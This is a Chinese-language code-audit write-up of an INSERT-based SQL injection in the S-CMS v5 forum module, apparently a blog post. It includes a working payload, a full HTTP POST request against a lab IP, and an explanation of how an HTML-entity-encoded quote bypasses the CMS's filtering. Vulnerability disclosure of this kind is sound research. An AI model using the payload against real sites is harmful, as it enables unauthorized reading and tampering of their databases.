s-cms v5版本代码审计-insert注入

## 0x01前言 看到以前的版本爆了挺多洞的,想看看这个新版本还有没有漏洞给我捡一下,结果还真捡到,然后分享一下给大家。 ## 0x02 payload复现 payload(单引号要htmlencode): ```sql ','...

0x01前言

看到以前的版本爆了挺多洞的,想看看这个新版本还有没有漏洞给我捡一下,结果还真捡到,然后分享一下给大家。

0x02 payload复现

payload(单引号要htmlencode):

','2021-08-21 17:17:29',21,1,1),('exp',(database()),'2021-08-21 17:17:29',21,1,1)#

数据包:

POST /bbs/bbs.php?action=add HTTP/1.1
Host: 172.20.10.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 304
Origin: http://172.20.10.8
DNT: 1
Connection: keep-alive
Referer: http://172.20.10.8/bbs/bbs.php?S_id=1
Cookie: PHPSESSID=rkb7d7qf44jan12nbq3vjf07nb; Hm_lvt_b60316de6009d5654de7312f772162be=1629536828; Hm_lpvt_b60316de6009d5654de7312f772162be=1629536867; CmsCode=b4ia
Upgrade-Insecure-Requests: 1

B_title=aaa&B_sort=1&B_content=%3Cp%3E%26%2339%3B%2C%26%2339%3B2021-08-21+17%3A17%3A29%26%2339%3B%2C21%2C1%2C1%29%2C%28%26%2339%3Bexp%26%2339%3B%2C%28database%28%29%29%2C%26%2339%3B2021-08-21+17%3A17%3A29%26%2339%3B%2C21%2C1%2C1%29%23%3C%2Fp%3E&code=09a7r7WJR1biC4zstFVg8TZGumpKbxfBC4MObWBIzvfDWoDFaSAavw

0x03分析

在/function/function.php文件中,通过inject_check方法对post传参进行了全局的sql注入过滤


而在9-25行中,又对传参进行了转义

正常来说,这样已经是写死的了,无法造成sql注入
但是回到漏洞文件/bbs/bbs.php中
在add方法里
B_content传参被带进了removexss方法中
然后赋值$B_content

跟入removexss方法里
这行代码的意思就是将htmlencode的字符给decode了

当我传入'时,它传入的内容decode为单引号

所以,当我们输入一个'时就可以进行sql注入
而该注入是insert注入

mysqli_query($conn, "insert into ".TABLE."bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('" . $B_title . "','" . $B_content . "','" . date('Y-m-d H:i:s') . "'," . $_SESSION["M_id"] . "," . $B_sort . "," . $B_sh . ")");

$B_content是我们可控的,所以可以通过该sql语句直接构造出payload
Payload(要对单引号进行htmlencode):

','2021-08-21 17:17:29',21,1,1),('payload',(database()),'2021-08-21 17:17:29',21,1,1)#

我们最终去数据库中查询的语句是

insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('xxz','','2021-08-21 17:17:29',21,1,1),('payload',(database()),'2021-08-21 17:17:29',21,1,1)#','2021-08-21 17:17:29',21,1,1)
  • 发表于 2021-08-31 14:05:50
  • 阅读 ( 7477 )
  • 分类:代码审计

0 条评论

请先 登录 后评论
修仙者
修仙者

2 篇文章

站长统计